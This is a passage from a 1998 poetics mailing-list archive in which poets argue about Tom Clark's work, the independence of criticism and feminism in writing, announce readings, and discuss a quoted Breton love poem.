This, of course, is quite reasonable. For the most part, Ph.D.s in English, to the extent they are taught poetry at all, are taught it with the view toward teaching it to undergraduates who, for the most part could hardly be less engaged. This is grim task, to face 40 young people, who consciousness can be completely absorbed by MTV, and to try to get them to notice the linguistic curiosities of "The Snowman" or "To Elsie." I know, I have done it far too often myself.

Please do not misunderstand. I am completely with the undergraduates. I agreee that they should not be required to show up and listen to Professor X groan on about the symbolist tradition or writing in the American language or how this dead white male or female is important for resembling some deader white male or female.

And save us from any one who would pretend to be independent. Independent, of what? "Oh, I am independent, I have no commitments whatever."

After all, criticism is its own test: it is useful, if it is useful. We will know whether it is honest or not if it helps us read the poet under discussion, other poets, if it helps us write poems. Good criticism, by and large, is probably rarer than good poetry. I find myself going back to the same things again and again: essays by Stein, Pound (especially the essays and reviews on music), Williams, H.D., Hart Crane's letters, essays by Olson and Duncan, a remarkable piece entitled "Burden of Set" by Gerrit Lansing, a number of pieces by some of contemporaries.

db

--
****

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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91. Safdie Joseph

Re: Response to Bromige on Clark

Tue 3 Feb 1998

Well, David . . .

> These 3 poems are #s 43,44,and 45 from a work called "Early Warning,"
> unknown to me.
>

It's the last poem (in 66 sections) of a book Tom published in 1984 entitled _Paradise Resisted: New and Selected Poems_ from (yes) Black Sparrow. (I reviewed it in _Poetry Flash_ by the way). As I said in my post, it's not his best, nor one of my favorites, nor even, as Dale says, particularly representative -- it is quite funny in parts, as is the whole book. But just after the three stanzas I quoted comes one quite different in tone:

46
Copper, iron, lead, graphite, phosphate, zinc . . .
Palm oil is used for margarine, soap,
lubrication. The ground nut and cola nut
produce oils. Cotton becomes flax.
Export of coffee, grains, fabrics, oil, gold,

rubber, fruits, this is the story of
colonialism in Africa. The story of
human labor turned into money for distant
people to create pyramids of power
in banks is the story of Europe. This
is where we got the language we use.

And then, finally, section 47, which I'll quote only in part as it deals with the appropriation question you raise:

. . . The industrial world
gave us the computer world we employ
today. Uranium, radium, tin, iron,
spices. Diamonds. Food for thought.
It all came from somewhere. You can't
give anything back but you can stop
taking it. Start making and using it.
Only if you get the sentences clear.

I don't admire the music or rhythm here, particularly (but the fact that you can't separate them, or the syntax, from content, David Benedetti, was EXACTLY my point!); I do admire what I call a certain "high seriousness" -- an ambition that arises from clear-eyed social perceptions and entrepreneurial realties, informs the poems, and leads (ideally) to other spheres of action than ones purely aesthetic; I admire the implication that these economic and entrepreneurial realities affect the way we, as poets, set up shop; and yes, I admire the lack of ambiguity! In terms of the "big political ideas" bandied about a few days ago, I feel globalization is even more pernicious and dangerous than ecological disasters . .

> I can see the attraction they hold out : they constitute an
> us-&-them world, where "they" are every bit as despicable as "they"
> are
> always known to be, cowardly, secretive and vindictive in their
> unjustness,
> and where each reader is invited to identify with the poet to form an
> "us"
> that is better than his "they." One is thus offered some thing to
> belong
> to, a superior thing where one's allies will be likewise superior.
>
This is grade-school Jung (projections, "otherizing the other" etc.) and frankly beneath you. Do you really think he's calling for (yawn) "followers" here?

> Part of what is superior about the poet in these poems, is his
> attitude,
> made explicit in the lines "I'm/ (for instance) as ingenuous and
> naively
> trusting/ as your average Sudanese mercenary killer." One appreciates
> the
> twist of sense, which requires that one follow the syntax closely.
> Beyond
> that, one finds oneself in the presence (as it were) of "nobody's
> fool." a
> tough guy (albeit with a heart of gold--else we wouldn't be liking
> him) a
> bit like Bogart or Bukowski.
>
In fact, "one" knows that these are indeed the weakest lines of the
original stanzas I quoted.

> Elsewise, there is the wit of analogy that delivers us to this
> bathetic
> present after a quick whip around the corners of a Malebolge (or so I
> feel); there are attractive passages where sound draws attention to
> meaning
> (the way "clones" recalls "drone" and picks up on the "stones" and
> "bones"
> from lines immediately previous) and by this process provides a
> further
> guarantee that this poet has an ear--is listening to his lines as they
> unfold, is _not_ asleep at the wheel.
>
One gets a lot less these days, no?

> There is also the thrill, at watching the lid ripped off this
> particular
> can of worms. Ah, so just as we suspected, poets are as bad or worse
> than
> the rest of this wicked world! And here's a real poet telling us this!
>
Which will come as no surprise to the denizens of this list, to be sure,
but might, to others -- hanging out one's dirty laundry in public might
be declasse, but it can also clarify oppositions, energize . . .

> But my surrender to these poems doesn't last long. They lack, for one
> thing, a sense of history. Poets have been banding together against
> one

> another for millenia,
>
really? Ben Jonson and Bill? Keats and Leigh Hunt? Who are you thinking of, exactly? And what relevance does it have to, uh, "today"?

> so what's fresh about this content to excuse the
> traditionalist form?
>
Oh god -- not that! We must at all costs and moments avoid tradition, right?

> More of an objection, however, lodges in the wried logic. There is
> nothing
> I can find in the poem to ironize that one instance of "I"--I take the
> poet
> himself, Tom Clark, to be speaking, to be wanting to be heard speaking
> Tom
> Clark's mind.But Tom Clark is known to be (however relatively) a
> succesful
> writer, with dozens of books from distinguished houses. "To survive in
> the
> 'arts' you've got to be a belonger." Well, Tom Clark has survived, so
> to
> what does he belong, to which
> "school,...club,...cell,...lodge,...party...[or] police force" does
> Tom
> Clark owe his survival?
>
I'm not sure of his relation to the owner of Black Sparrow press -- but I think we should, in all cases possible, publish with people and presses we know. That's not always possible, of course.

> His answer might lie in the "outsider" category. I cannot see how, in
> the
> dog-eat-dog world Clark depicts, this category is in any way superior
> or
> transcendent. How do these lines escape being as self-serving as
> anything
> that might be produced from "school, club, cell, lodge, party, police
> force" or cabal?
>
> It is not that I altogether disagree with his picture. It is rather
> that
> Tom Clark is no less a cannibal canine than the next man or woman.

> Despite
> his apparent admission of this, "to relate to history not forgetting
> the
> mistake of those who'd evade it," I do not find I can exit these 3
> poems
> without feeling that Clark believes that he can, and has evaded it.
> While
> feeling, myself, that he has not. Because he cannot. Because (as he
> implies) none of us can.
>
> Here I refer my reader to Carlo Parcelli's post of 1/30/98, to his
> mention
> of "position/momentum paradox" and "influence of the observer upon the
> observed." And to what he deduces from these physico-philosophical
> quandaries : "every participant in the current debate is subject to
> these
> limitations [.]" I do not believe it is enough to acknowledge this
> truth
> then to proceed as though nothing was altered because of it. It is a
> truth
> that calls for constant attention. It explodes the us/them
> construction,
> _no matter the empirical persistence of such divisiveness_ . Both Tom
> and I
> (as any of you) being subject to these limits, I ask him, "Why do you
> create a world of attitude where you have always to be branded as
> 'distrustful, dangerously suspicious' as an 'outsider'--while holding
> down
> an inside post with Black Sparrow Press? " It is 35 years since
> Bukowski
> was named 'Outsider of the Year' and neither he nor the press that
> presented him has any pretense to outsider status today. As a
> category, in
> any case, 'outsider' today must include so many as to be meaningless.
> It
> remains "someone to be," if it's elsewise too scary walking down the
> street, or boring or whatever : Fred Dobbs.
>
To the extent that anyone tries to cash in on his or her status of
"outsider", yes, I agree that's fairly reprehensible. I don't see him
doing this here.

> I do not find that the epiphany at the end of the 3rd of these poems
> is
> credible: "only makes me laugh and study/ ways to gain a new power
> over
> words/that are so stubborn, to steer them into/ clear and simple
> sentences
> is a good lifetime's work." It does not dissolve the paranoid portrait
> of
> hate and distrust and envy, or not persuasively to my reading. And
> while it
> is plain that Tom Clark is consumed by these vices, the poetry would
> be a
> big step closer to the greatness certain acolytes claim for it (not to
> mention Clark himself) were he to _assume_ and _own_ them.
>
> I do not think we inhabit times that permit such linear renunciation
> of
> indulged miseries.
>
Do we live in times that permit non-linear renunciation of them?

> You _are_ what you _describe_ . It's the Tarbaby none
> can escape. (I use my own knowledge of my own powers of denial, my own
> hypocrisies, my own envy and mortifcation at exclusion, to decode Tom
> Clark). No part of any poem is _more_ than any other part.
>
I'm with you CLOSELY here -- but feel you hang too much on the outsider tag.

I leave the rest of your post for tomorrow, as this is already long and as I haven't actually read the essay in question -- I just remember the article in _Poetry Flash_ that was apparently its genesis. (But Herb! I don't agree that David is here responding to my "interpretation" riff at all! Perhaps it's just too late, or I'm too dense . .)

↑ Index

92. Henry Gould
Re: The task of criticism
Tue 3 Feb 1998

On Tue, 3 Feb 1998 17:17:02 -0800 Don Byrd said:
>
> And save us from any one who would pretend to be independent.

>Independent, of what? "Oh, I am independent, I have no commitments whatever."
>
> After all, criticism is its own test: it is useful, if it is useful. We
>will know whether it is honest or not if it helps us read the poet under
>discussion, other poets, if it helps us write poems. Good criticism, by and
>large, is probably rarer than good poetry.

I agree that good criticism is rare; I admit that the best is done by poets. I've been marking poets' conflict of interest as yet another way of pointing to the fact that criticism is a worthy art in itself. You only have to pretend to be independent if you don't believe you can be in reality. Are you saying that those who write about contemporary poetry must sell it to each other rather than weigh it in their own personal scale of values? That the aim of writing about poetry is to boost the recognition level of your own friends and allies? Do you think there's no point in distinguishing between reviews treating friends and associates and reviews done cold? Clearly a general understanding of poetry according to you is beyond the reach of the ordinary grad student, much less the ordinary citizen (I haven't been to grad school myself, so I'm not the one to judge there); reviews therefore will be a minor, generally worthless venture - there's bigger fish out there, right? But one implication of what I've been trying to drum into this list is that if critical values were more honest, and yes, INDEPENDENT, said critics might just find an avenue of access to a general public for poetry, and your examples of poets we need to "learn to read" might find a wider, more educated audience. But as long as poets, editors, and academics deny the value of "keeping one's distance", they will continue to write only for themselves. Maybe deep down that's what they want - save the secret knowledge for the elite. Nevertheless, I don't want to give the impression that being "independent" is simply a vehicle for reaching a wider audience; that's only a side effect. I have been frankly dumbfounded at some of the responses to my posts on this list. Utterly amazed that the simple principles of honest writing are considered unknown, needless, irrelevant matters; that the concept of weighing the values of a work of art according to autonomous personal values would be called pompous, naive, hypocritical, etc. & you're the icing on the cake, Don Byrd. I am stunned. If he speaks for a general consensus on this list, I say, you people can have your fishbowl. It's not worth the water poured into it. - Henry Gould

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93. **nuyopoman**
Fwd: Word and Music series
Tue 3 Feb 1998

This is a multi-part message in MIME format.

--part0_886562759_boundary

--part0_886562759_boundary

air19.mail.aol.com (v38.1) with SMTP; Tue, 03 Feb 1998 21:24:50 -0500
by relay31.mail.aol.com (8.8.5/8.8.5/AOL-4.0.0)
with ESMTP id VAA21726;
Tue, 3 Feb 1998 21:24:29 -0500 (EST)
by dfw-ix8.ix.netcom.com (8.8.4/8.8.4)
id UAA09463; Tue, 3 Feb 1998 20:21:44 -0600 (CST)
dfw-ix8.ix.netcom.com via smap (V1.3)
id rma005483; Tue Feb 3 19:56:14 1998
Date: Tue, 3 Feb 1998 20:58:10 -0500
To: [redacted]
From: [redacted] (Fred Yablonski)
Subject: Word and Music series

WORDS & MUSIC
a series of collaborations between musicians & writers
February 4-8 at the Knitting Factory

Wednesday
feb. 4 8pm: Tracie Morris/Marvin Sewell
(see Sunday NY Times for an article on Tracie...)
9:30pm: "Brides of Poetry": Barb Barg, Brenda Coultas, Julia Patton,
Wanda Phipps, Lars Askesson, Anders Griffin,
Andrea Pierotti, Dave Sewelson

Thursday
feb. 5 8pm: Tracie Morris/Badal Roy
9:30pm: Edwin Torres, Gina Bonati, DJ wally, Ladislav Czernezk

Friday
feb. 6 8/9:30pm: Ronny Someck (Israeli poet)/Elliott Sharp

Saturday
feb. 7 8pm: Nick Zedd, Jennifer Blowdryer, Mark Kramer, Rockets Redglare
featuring the premiere of the film SCREENTEST '98

9:30pm author Jack Womack/Elliott Sharp

Sunday
feb. 8 8pm: Bob Holman/Dan from www.coolout.com
9:30pm: Bob Holman/Vito Ricci

THE KNITTING FACTORY 74 Leonard Street New York City [redacted]

--part0_886562759_boundary--

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94. William Marsh
Re: Rachel, criticism, 420 E Davenport
Tue 3 Feb 1998

At 01:23 PM 2/3/98 EST, ornery gould wrote:
Tell me something about
>poetry in your review; don't just blindly glorify your subject.

yeah -- seems to me the best criticism, reviews and elsewhere, answers not "for whom the bell tolls" but "how it makes that particular tone when struck that particular way" / close reads that give us Poetry by showing how the chosen poetry resonates -- meaning i guess i agree / how hard is it though, critics out there, to detach oneself from the promotion, really? / seems one's selection of subject matter alone communicates preferences / but i missed big sections of this thread, so i might be a dollar short, etc.

bill

(hope we can play with your name too henry? :)

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

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95. Joe Ahearn
Re: Uh, (Was Re: I see now that by forwarding this I can make it available again)
Tue 3 Feb 1998

> *Since Dale Smith began his recent tirades by calling David Bromige a "self deluded, lying coward" & a "guardian of banality", among other things,*

In general, the quality of insults lately hasn't been up to the standards I'd expect from a group of avant=garde poets.

j.

Joe Ahearn

_____
[redacted]

↑ Index

96. Tim Wood

Was: Re: Uh, <snip>

Tue 3 Feb 1998

> *In general, the quality of insults lately hasn't been up to the standards*
> *I'd expect from a group of avant=garde poets.*

Joe, you are getting crusty in your old age <grin>

Tim

_____ Tim Wood
[redacted]

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97. Daniel Zimmerman

Re: Uh, (Was Re: I see now that by forwarding this I can make it available again)

Wed 4 Feb 1998

Joe Ahearn wrote:
>
> >
> >Since Dale Smith began his recent tirades by calling David Bromige a "self
> >deluded, lying coward" & a "guardian of banality", among other things,
> >
>
> In general, the quality of insults lately hasn't been up to the standards
> I'd expect from a group of avant=garde poets.
>
> j.
>
> Joe Ahearn
> _____
> [redacted]

Sensing a thread, Joe, I propose a Disstionary:

gluteal guru
crambo-ass
odious odist
panegyrical persiflageur
obsequious obloquist
ani-pest
terza reamer
ovine Ovidian
epiglam
figure of preach
ictus rectus
dicktyl
oral poet
can zone

& invite the collegium opprobrium to revise & extend my remarks.

Respectfully submitted,
Dan Zimmerman

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98. k. lederer
Re: a posting to poetics
Wed 4 Feb 1998

The wonderful Jen Hofer will be reading with the fabulous Rachel Blau du Plessis:

HERE
6th Ave b/w Spring and Broome
3:00 pm Sat 2/7/98: $5
NYC

ATTEND!

↑ Index

99. Robert Hale
Love Poems
Wed 4 Feb 1998

At risk of using the list as a Dear Abby column, I seek advice regarding the sending of love poems. Valentine's Day is next Saturday. I don't plan to send out any love poems and here's why.

I was dating this girl for a while. Things were going well. I took her to see David Bowie. We talked about stuff. We had crazy nights. We even went to a friend's wedding together. I sent her, like, a poem a week, or something. I also sang to her over the phone. Then I sent her a poem by Andre Breton (see below). She freaked out. Our relations broke off within a week.

It wasn't the singing. Suddenly, she said I was a weirdo. It was the Breton. But the one of the first poems I sent her was by Clark Coolidge!

What gives?

My woman with her forest-fire hair
With her heat-lightning thoughts
With her hourglass waist
My woman with her otter waist in the tiger's mouth
My woman with her rosette mouth a bouquet of stars of
    the greatest magnitude
With her teeth of white mouse footprints on the white
    earth
With her tongue of polished amber and glass
My woman with her stabbed Eucharist tongue
With her tongue of a doll that opens and closes its eyes
With her tongue of incredible stone
My woman with her eyelashes in a child's handwriting
With her eyebrows the edge of a swallow's nest
My woman with her temples of a greenhouse with a slate roof
And steam on the windowpanes
My woman with her shoulders of champagne
And a dolphin-headed fountain under ice
My woman with her matchstick wrists
My woman with her lucky fingers her ace of hearts
    fingers
With her fingers of new-mown hay
My woman with her armpits of marten and beechnuts
Of Midsummer Night
Of privet and angelfish nest
With her seafoam and floodgate arms
Arms that mingle the wheat and the mill
My woman with rocket legs
With her movements of clockwork and despair
My woman with her calves of elder tree pith
My woman with her feet of initials
With her feet of bunches of keys with her feet of
    weaverbirds taking a drink

My woman with her pearl barley neck
My woman with her Val d'or cleavage

Cleavage of a rendezvous in the very bed of the mountain stream
With her breasts of night
My woman with her undersea molehill breasts
My woman with her breasts of the crucible of rubies
With her breasts of the specter of the rose beneath the dew
My woman with her belly of the unfolding fan of days
With her giant claw belly
My woman with her back of a bird fleeing vertically
With her quicksilver back
With her back of light
With her nape of rolled stone and damp chalk
And a falling glass that's just been sipped
My woman with her rowboat hips
With her hips of a chandelier and arrow feathers
And the stems of white peacock plumes
Her hips an imperceptible pair of scales
My woman with her buttocks of sandstone and asbestos
My woman with her buttocks of a swan's back
My woman with her buttocks of springtime
With her gladiolus sex
My woman with her sex of placer and platypus
My woman with her sex of seaweed and old-fashioned candies
My woman with her mirror sex
My woman with her eyes full of stars
With her eyes of violet armor and a speedometer needle
My woman with her savannah eyes
My woman with her eyes of water to drink in prison
My woman with her eyes of forests forever beneath the axe
With her pale eyes of sea-level air-level earth and fire

↑ Index

100. George Bowering
Re: Uh
Wed 4 Feb 1998

> *Since Dale Smith began his recent tirades by calling David Bromige a "self deluded, lying coward" & a "guardian of banality", among other things,*

Bromige is neither of those things. He is a noble soul, and he is always fair and thoughtful. He looks good in a straw hat, and behind the wheel of a 1963 Lincoln. He has nice long hands and good fingernails. He is a faithful friend and an unusually perceptive reader. He is a good father and brave poet. And he is my pal.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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101. George Bowering
Re: Was: Re: Uh, <snip>
Wed 4 Feb 1998

> *In general, the quality of insults lately hasn't been up to the standards I'd expect from a group of avant=garde poets.*

Avant-barde poets are nothing more than fiddlers with their own strings, players with their own poop, self-regarding nincompoops with the intellectual capacities of plaid-wearing baboons.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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102. John Cayley
call for sound work
Wed 4 Feb 1998

The (Corsican) magazine Doc(k)s[sous rature]

is calling for work, in preparation of a special issue:

"Sound, Voices, sousRature(Poetry)"
"Laut, Stimmer, sousRature(Dicht)"
"Suoni, Voci, sousRature(Poesia)"
"Sons, Voix, sousRature(Poesie)"
"Lyd, Stemmer, sousRature(Dikt)"

to be published on CD

Material accepted
of about two minutes duration

on audio tape cassettes, aiff files, syquest (44/88 Mb), zip, Mac & PC Floppies.

&/or

image files, texts, theory, etc.

to:

Ph. Castellin / Jean Torregosa
Akenaton - Doc(k)s
12 Cours Grandval F Ajaccio 20 000
Corsica, France
Tel 95 21 32 90, Fax 95 21 32 90
email: [redacted]

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103. linda russo
Re: Love Poems
Wed 4 Feb 1998

---

agreeing w/ chris s., it is a great poem;
speaking as a particular woman (which the response depends on)
i think i'd mixed messages if it were sent to me.
it is not just a sexist poem, but an imperialistic poem
i don't think anyone want to be referred to as "my woman"
(maybe an under-30's understanding of this) But to be "my
woman with" -- especially when "my woman's" (and not at all
"my"/mine) attributes are all physical -- so exposed, granted
no privacy, no complexity, no emotion -- at least not any

autonomous privacy, complexity, emotion. Made
HIS mystery only, inspiring his emotions,
descriptions (& yes some amazing language)
but that's all. its sort of like a vivisection

& on the other side of it -- a response might
be to the hyperbole of it -- which of course makes
it an amazing poem, but not so much a flattering
set of utterances.

> *but i do think much of my poetry is "about" the tension between*
> *respect and even passion for feminism (though i am skeptical that*
> *there really can be a male feminist) on the one hand and one's*
> *status as a "male desiring subject".....*
> *and though i don't really wish to once again be accused of being*
> *a languagepoetbasher, this issue was something i found lacking*
> *in many of the male langpos. well i have a lot more i could say on*
> *this, but i will wait to digest the implications of your message rob.*

i'd like to hear more . . .

> *On Tue, 3 Feb 1998, Robert Hale wrote:*
>
> *At risk of using the list as a Dear Abby column, I seek advice regarding the*
> *sending of love poems. Valentine's Day is next Saturday. I don't plan to*
> *send out any love poems and here's why.*
>
> *I was dating this girl for a while. Things were going well. I took her to*
> *see David Bowie. We talked about stuff. We had crazy nights. We even went to*
> *a friend's wedding together. I sent her, like, a poem a week, or something.*
> *I also sang to her over the phone. Then I sent her a poem by Andre Breton*
> *(see below). She freaked out. Our relations broke off within a week.*
>
> *It wasn't the singing. Suddenly, she said I was a weirdo. It was the Breton.*
> *But the one of the first poems I sent her was by Clark Coolidge!*
>
> *What gives?*
>
> *My woman with her forest-fire hair*
> *With her heat-lightning thoughts*
> *With her hourglass waist*
> *My woman with her otter waist in the tiger's mouth*
> *My woman with her rosette mouth a bouquet of stars of*
> *the greatest magnitude*
> *With her teeth of white mouse footprints on the white*
> *earth*
> *With her tongue of polished amber and glass*

My woman with her stabbed Eucharist tongue
With her tongue of a doll that opens and closes its eyes
With her tongue of incredible stone
My woman with her eyelashes in a child's handwriting
With her eyebrows the edge of a swallow's nest
My woman with her temples of a greenhouse with a slate roof
And steam on the windowpanes
My woman with her shoulders of champagne
And a dolphin-headed fountain under ice
My woman with her matchstick wrists
My woman with her lucky fingers her ace of hearts
fingers
With her fingers of new-mown hay
My woman with her armpits of marten and beechnuts
Of Midsummer Night
Of privet and angelfish nest
With her seafoam and floodgate arms
Arms that mingle the wheat and the mill
My woman with rocket legs
With her movements of clockwork and despair
My woman with her calves of elder tree pith
My woman with her feet of initials
With her feet of bunches of keys with her feet of
weaverbirds taking a drink
My woman with her pearl barley neck
My woman with her Val d'or cleavage

Cleavage of a rendezvous in the very bed of the mountain
stream
With her breasts of night
My woman with her undersea molehill breasts
My woman with her breasts of the crucible of rubies
With her breasts of the specter of the rose beneath the
dew
My woman with her belly of the unfolding fan of days
With her giant claw belly
My woman with her back of a bird fleeing vertically
With her quicksilver back
With her back of light
With her nape of rolled stone and damp chalk
And a falling glass that's just been sipped
My woman with her rowboat hips
With her hips of a chandelier and arrow feathers
And the stems of white peacock plumes
Her hips an imperceptible pair of scales
My woman with her buttocks of sandstone and asbestos
My woman with her buttocks of a swan's back
My woman with her buttocks of springtime

> *With her gladiolus sex*
> *My woman with her sex of placer and platypus*
> *My woman with her sex of seaweed and old-fashioned*
> *candies*
> *My woman with her mirror sex*
> *My woman with her eyes full of stars*
> *With her eyes of violet armor and a speedometer needle*
> *My woman with her savannah eyes*
> *My woman with her eyes of water to drink in prison*
> *My woman with her eyes of forests forever beneath the*
> *axe*
> *With her pale eyes of sea-level air-level earth and fire*

↑ Index

104. **linda russo**

Re: missing gens, maria's q &c.

Wed 4 Feb 1998

---

pat pritchett wrote:

> *Linda Russo raises an interesting point about "feminism being a woman-thing." I would like to think "we" are moving beyond that into a broader definition of feminism, though this may be disturbing to more traditional feminists since it seems to imply a waning of political attention to women's issues - I would hope it would be just the opposite, though. Certainly vis-a-vis Cixous' idea of ecriture much experimental writing would fit broadly under the feminist rubric, but if it does, then again, the definition of that term is changing.*

--yes-- or rather the feminine rubric, as cixous' idea has more to do with the biological fact of writing out of a woman's body; which, more generally speaking, maybe has more to do w/a certain attention one produces to their material conditions in the world; Maybe all experimental writers feel "feminized" by their culture, in the sense of being put in a place of objectness (e.g. the consumer, the client) or powerlessness (the debtor, the constituent). Cixous, btw & to the dismay of many, eschews a feminist label, preferring to align herself with a Derridian theory of difference.(as Irigaray also has more recently come to do).

> *I attended a talk given by Susan Faludi last fall here in Boulder (ratio of women to men in attendance roughly 3:1). Many women were upset when she announced that her new book would be looking at (heterosexual) men's issues re: relationships, empowerment, etc. They took this as a betrayal but it seemed to me not only like a generous gesture, but like the next logical step. As you say, Linda, it's difficult terrain to negotiate since there's little or no*

> *precedence to rely on. Judith Butler and Gayle Rubin seem to be offering alternative/postmodern models for gender that challenge and expand the narrow parochial views of the Catherine MacKinnon camp but my sense is that no one's too clear about the Big Picture or where theory and praxis are leading next.*

The question maria's & rachel's responses raised for me is: we can theorize (Butler & Rubin as Pat points out) a more postmodern feminism, we can, in writing (which is the same as theorizing) practice it (re DuPlessis' _Pink Guitar_ ; Scalapino's sense of recent women's poetry constructing a "women's kind of attendance to the object" an "opportunity or context of apprehension" rather than constructing a subjectivity -- but in the practice of our everyday lives . . . there, yes, it is literally a difficult terrain to negotioate, where things don't seem to change much. Perhaps they change enough (thinking both of Joan Retallack's notion of Poethics, and of chris stoffolino's response to Robert Hale's love poems -- his attempt in hiw work to pay attention to feminist/male subjectivity tension)

-- linda russo

> *Patrick Pritchett*
> ---
> *From: linda russo*
> *To:* [redacted]
> *Subject: missing gens, maria's q &c.*
> *Date: Tuesday, February 03, 1998 6:58AM*
>
> *Which brings me to the question of*
> *feminism & writing as praxis. It seems to me that if a woman in any*
> *way writes innovative poetry then she is a feminist, that her*
> *feminism somehow preceeds but doesn't determine her need to write*
> *(as it did say, in the 70s, e.g. Fraser's "poem in*
> *which my legs are accepted" (and the whole her early books)*
> *That is, feminism functions in the same way that *any* writer's*
> *politics are a precedent (e.g.less *overtly* feminist works,*
> *like Hejinian's _The Cell_ & Dahlen's _A Reading_) --*
>
> *i guess i'm just tired of feminism being a woman-thing -- again,*
> *wanting to be a postmodern feminist -- but not having the tools (the*
> *tradition, the annals) to do that.*

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105. Schuchat Simon
Re: Response to Bromige on Clark
Wed 4 Feb 1998

In a post ignored by many about period style I noted that the first poem by Bruce Andrews I ever read was published in the Paris Review, chosen by Tom Clark (at least Tom Clark was the poetry editor of the Paris Review at the time, and its hard to imagine George Plimpton picking Bruce's works though not impossible I confess). it seems to me that this is a measure of evidence that the issue at hand is not aesthetic.

I don't know the "Stalin as linguist" essay, but this constant harping on the Hitlerian or Stalinist methodology of TC is a little grating. I am probably not the only one on the list who can say this, but I have lived in a neo-Stalinist society and the ad hominen attack is one characteristic of Stalinist polemic. It would not surprise me if TC, in either the Poetry Flash or Partisan Review or whereever, used Stalinist argumentation, but it doesn't further anyone's understanding to use it back at him.

Underlying most polemic in Stalinist society was stuff like envy, resentment, you attacked my friend or even attacked me so I will crush you in return, etc. It was always difficult to learn what the original pretext, even, of an attack was -- did Jiang Qing really send those people to jail because they knew her as a young actress, or was it how they treated her when she was a young actress, or what? Part of it is just power, and the smaller the stakes, the more violent the struggle. I don't know what lies at the real root of the anti-Tom Clark emotion that occassionally erupts on the list. I have trouble thinking of him as the "real enemy," that's all.

Four poets were just arrested in Guizhou, for planning to start a magazine. Anyone else on the list hear about it? Anyone know where Guizhou is?

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106. Mark Wallace
oh Henry
Wed 4 Feb 1998

Henry--

What is the reason for losing your cool when people disagree with you? We're all expressing our positions as straightforwardly as we feel them. Obviously, this issue matters a lot to you--as it should (and I respect you for it)--but you know full well that speaking your mind means that others will do so back. I do know that there's something about e-mail that encourages displays of anger (I've done my share), but I think in this case we're all trying to proceed civilly.

Let me be perfectly clear. I am not aware of having EVER claimed, in print, to like the work of someone whose work I do not like, to advance my career or anybody else's. Hell--what career do I have anyway, when it comes to that? Your suggestion that this is what ALL poets and critics are doing is generalized and incorrect. Your suggestion that we are all DUPES of our cultural investments is insulting. You seem like a nice guy, and I know you don't MEAN to be insulting in this case--you think your position is correct, and you are mystified that others do not agree. But others DON'T agree, in this case, and are quite independently able to say so. I and many others are perfectly capable of deciding what we don't like, and why, and being honest with ourselves about it. Does this really seem strange to you, that there would be other and perhaps many other sophisticated, intelligent, and critically insightful folks in the world, who quite correctly don't see themselves as dupes?

I feel completely capable of saying exactly what I mean, and of considering, ethically, what the consequences for myself and others of such action is. And I will say what I mean to whoever it matters to say it to. But I do not think that the sense of "independent critic," as you are using it, takes sufficient account of the complexity of what it means to be human and involved.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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107. Elizabeth Hatmaker

Re: The task of criticism

Wed 4 Feb 1998

Given the poetry/criticism thread I keep reading, I thought I'd throw out the following fun-sounding symposium happening here:

"Critical Painting: The Influence of Criticism on Artistic Production"
February 24, 1998 6-7:30 pm
Aidekman Gallery
Tufts University
Medford, MA

for reservations call [redacted]

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108. **Mark Prejsnar**
Re: The task of criticism
Wed 4 Feb 1998

On Tue, 3 Feb 1998, Henry Gould wrote:

> *Are you saying that those who write about contemporary poetry must sell it to each other rather than weigh it in their own personal scale of values? That the aim of writing about poetry is to boost the recognition level of your own friends and allies? Do you think there's no point in distinguishing between reviews treating friends and associates and reviews done cold? Clearly a general understanding of poetry according to you*

One of the great problems, Henry, with all your posts on this topic, is suggested by your word-choice here. One of the most central and important things about the poetry scene most of us inhabit, is that it's *not* about selling. You define the whole world of poetry activities as about: boosting; recognition; selling; markets. The list of negative and capitalist-oriented buzzwords that can be derived from your posts, is scarifying. This has to be said once and for all, because there seems to be an awful lot of confusion wafting around about it: choosing to do poetry *removes* a person from the capitalist cash nexus in most respects. I try hard to see this as a positive thing, like bohemians of old. but there's no getting around it: it's a deeply destructive and painful thing. People find it very hard to live. A few mainstreamers get grants, etc., but in general there is no connection between material gain, comfort, the capitalist marketplace in any usual recognized sense, and poetry. This is *very* different from music, mainstream narrative fiction, the visual arts to an extent, the performing art activities to a large extent. My own past involvement with music on a professional level gives me some sense of the differences involved. Thus my insistence on being supportive where possible. In the accents of my native Northeast, Poets, they got enough to worry about, already! Sure, much about ego etc. is at stake. Big F'ing deal. I honestly don't think the push and pull between different tendencies of poets is as bad a thing as your posts suggest. It's probably a good thing. The *last* thing we need are "independent critics" to act as arbiters. Let a thousand groupuscules bloom. Let 'em argue out poetics, politics and the rest of it. If people with similar work as poets help each other, that's fundamentally a good thing. But it sure has nothing to do with "selling". One of the important things about this list is the ability of poets to hash out ideas and preferences, and to point to work that represents what they value.

Mark P.
@lanta

↑ Index

109. Dale M Smith
Stalin as What?
Wed 4 Feb 1998

Tom Mandel:

I responded to your post yesterday, but for some reason it never made it to the list. Hopefully this one will.

First of all, I don't see how anyone can better their *careers* as a poet by standing up for Tom Clark. That's more like suicide in certain company these days.

You might actually *read* the articles in question, both 'Stalin as Linguist essays, before you go too much further out of your way condemning the man as a fascist. He addresses a herd-like behavior among a certain group of poets at a particular moment in time. He was responding to various pressures of the day. It's all quite clear if you just check out what he wrote. It might complicate your ad hominem impulses.

Tom is more than capable of standing up for himself and I shouldn't be the one to speak for him (but he's wise enough to avoid this list, unlike me).

But I do want to defer to you, to help ease the vehemence of your feelings abou t this. I'm sure you feel an extraordinary amoun of pain at the loss of your family. And I do not want to in any way detract from the dignity of you feelin gs about this. Nor do I want to see Tom Clark unfairly accused so casually. He has a certain amount of dignity too. If you want to discuss Tom's work, the way Joe has been doing to eloquently, I think that is fine. But this kind of ritual bloodletting is really destructive to more than just Tom Clark.

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110. Henry Gould
Re: oh Henry
Wed 4 Feb 1998

